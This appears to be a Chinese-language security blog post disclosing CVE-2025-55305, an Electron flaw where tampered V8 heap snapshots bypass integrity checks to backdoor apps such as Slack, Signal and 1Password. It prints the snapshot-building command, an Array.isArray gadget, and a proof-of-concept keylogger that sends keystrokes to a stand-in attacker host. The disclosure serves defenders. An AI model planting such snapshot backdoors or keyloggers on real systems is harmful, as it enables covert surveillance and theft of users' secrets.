绕过代码完整性检查:Signal、1Password和Slack等应用的本地后门漏洞分析

本文深入分析了Electron框架中的CVE-2025-55305漏洞,攻击者可通过篡改V8堆快照文件绕过代码完整性检查,在Signal、1Password和Slack等流行应用中植入本地后门。文章详细介绍了漏洞原理、利用方法和防护措施。

绕过代码完整性检查在Signal、1Password、Slack等应用中植入本地后门

应用程序完整性并非新问题

确保代码完整性并非新问题,但不同软件生态系统对此采取了不同的方法。Electron项目提供了一系列熔断机制(即功能开关)来对可执行脚本组件实施完整性检查。这些熔断机制默认关闭,必须由开发者显式启用。

图1:Slack中启用的EnableEmbeddedAsarIntegrityValidation和OnlyLoadAppFromAsar

EnableEmbeddedAsarIntegrityValidation确保包含Electron应用程序代码的归档文件与开发者打包时的内容完全一致,而OnlyLoadAppFromAsar确保归档文件是加载应用程序代码的唯一位置。这两个熔断机制共同构成了Electron确保应用程序加载的任何JavaScript在执行前都经过篡改检查的方法。结合操作系统级别的可执行代码签名,这旨在保证应用程序运行的代码正是开发者分发的代码。

失去这种保证会打开潘多拉魔盒,最明显的是攻击者可以:

  • 向易受攻击的应用程序注入持久、隐蔽的后门
  • 分发经过篡改但仍能通过签名验证的应用程序

滥用未启用完整性检查的Electron应用程序远非理论问题,其广泛程度已拥有自己的MITRE ATT&CK技术条目:T1218.015。基于此技术的流行命令与控制框架Loki C2,使用受信任应用程序(VS Code、Cursor、GitHub Desktop、Tidal等)的后门版本,以规避CrowdStrike Falcon等端点检测与响应(EDR)软件以及绕过AppLocker等应用程序控制。

从冷冻披萨到无签名代码执行

用Google V8团队的话来说: “V8使用快捷方式来加速:就像解冻冷冻披萨快速享用晚餐一样,我们将预先准备的快照直接反序列化到堆中,以获得初始化的上下文。”

基于Chromium的Electron应用程序继承了使用"V8堆快照"文件来加速加载各种浏览器组件(参见主进程、预加载、渲染器)。在每个组件中,应用程序逻辑在全新实例化的V8 JavaScript引擎沙箱(称为V8隔离)中执行。从头创建V8隔离成本高昂,因此基于Chromium的应用程序从堆快照加载先前创建的基线状态。

虽然堆快照在反序列化时不能直接执行,但其中的JavaScript内置函数仍可被覆盖以实现代码执行。攻击者只需要一个被宿主应用程序高度一致执行的小工具,无签名代码就可以加载到任何V8隔离中。

Electron在实现EnableEmbeddedAsarIntegrityValidation和OnlyLoadAppFromAsar时的疏忽,意味着它没有将堆快照视为"可执行"的应用程序内容,因此没有对快照执行完整性检查。Chromium也不对堆快照执行完整性检查。

当应用程序安装到用户可写位置时(如Windows上的%AppData%\Local和macOS上的/Applications,有某些限制),篡改堆快照尤其成问题。大多数基于Chromium的应用程序默认安装到用户可写路径,具有文件系统写访问权限的攻击者可以悄悄地向现有应用程序写入快照后门,或携带自己易受攻击的应用程序(所有这些都无需权限提升)。快照不显示为可执行文件,不会被操作系统代码签名检查拒绝,也不被Chromium或Electron完整性检查。这使其成为隐蔽持久化的绝佳候选,并且其包含在所有V8隔离中使其成为极其有效的基于Chromium的应用程序后门。

小工具搜寻

虽然创建自定义V8堆快照通常涉及痛苦地编译Chromium,但幸运的是Electron提供了一个预构建组件可用于此目的。因此,很容易创建覆盖全局范围成员的payload,随后使用精心制作的快照运行目标应用程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// 将生成的文件复制到应用程序的`v8_context_snapshot.bin`

const orig = Array.isArray;

// 使用V8内置`Array.isArray`作为小工具
Array.isArray = function() {
    // 当调用Array.isArray时执行攻击者代码
    throw new Error("testing isArray gadget");
};

图2:简单的小工具示例

使用无条件抛出错误的小工具覆盖Array.isArray会导致预期崩溃,证明完整性检查的应用程序乐意包含来自其V8隔离快照的无签名JavaScript。可以在不同的V8隔离中发现不同的内置函数,这允许小工具通过取证发现它们正在哪个隔离中运行。例如,Node.js的process.pid和各种Node.js方法独特地存在于主进程的V8隔离中。

开发概念验证

借助Electron应用程序中所有隔离使用的有效小工具,可以在著名的Electron应用程序中制作简单的应用程序后门演示。为了捕捉影响,我们选择Slack、1Password和Signal作为高知名度的概念验证。请注意,在主进程中具有无约束能力的情况下,甚至可以更广泛地绕过应用程序控制(CSP、上下文隔离)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
const orig = Array.isArray;
Array.isArray = function() {
    // 等待在浏览器上下文中加载
    try {
        if (!alert) {
            return orig(...arguments);
        }
    } catch (_) {
        return orig(...arguments);
    }

    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        setInterval(() => {
            window.onkeydown = (e) => {
                fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
            }
        }, 1000);
    }
    return orig(...arguments);
};

图4:在Slack中嵌入键盘记录器的基本示例

有了概念验证,团队将此漏洞报告给Electron维护者,作为完整性检查熔断机制的绕过。Electron维护者迅速发布了CVE-2025-55305。

未来展望Chrome

大多数Electron应用程序默认禁用完整性检查,而大多数启用它的应用程序容易受到快照篡改的影响。然而,基于快照的后门不仅对Electron生态系统构成风险,而且对整个基于Chromium的应用程序构成风险。

尽管为其他代码完整性风险提供了类似的缓解措施,但Chrome团队表示本地攻击明确排除在其威胁模型之外。我们仍然认为这是持久且未被检测到的用户浏览器入侵的现实和合理途径,特别是因为攻击者可以分发包含恶意代码但仍通过代码签名的Chrome副本。作为缓解措施,基于Chromium的衍生项目的作者应考虑应用Electron团队实施的相同完整性检查控制。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计